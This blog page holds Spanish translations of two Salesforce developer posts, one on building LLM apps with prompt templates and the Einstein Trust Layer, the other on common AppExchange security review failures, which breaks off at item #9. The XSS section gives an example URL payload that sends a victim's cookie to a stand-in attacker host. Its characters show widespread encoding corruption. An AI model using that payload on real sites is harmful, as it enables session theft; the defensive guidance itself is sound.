Skip to content

Tag: apex

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

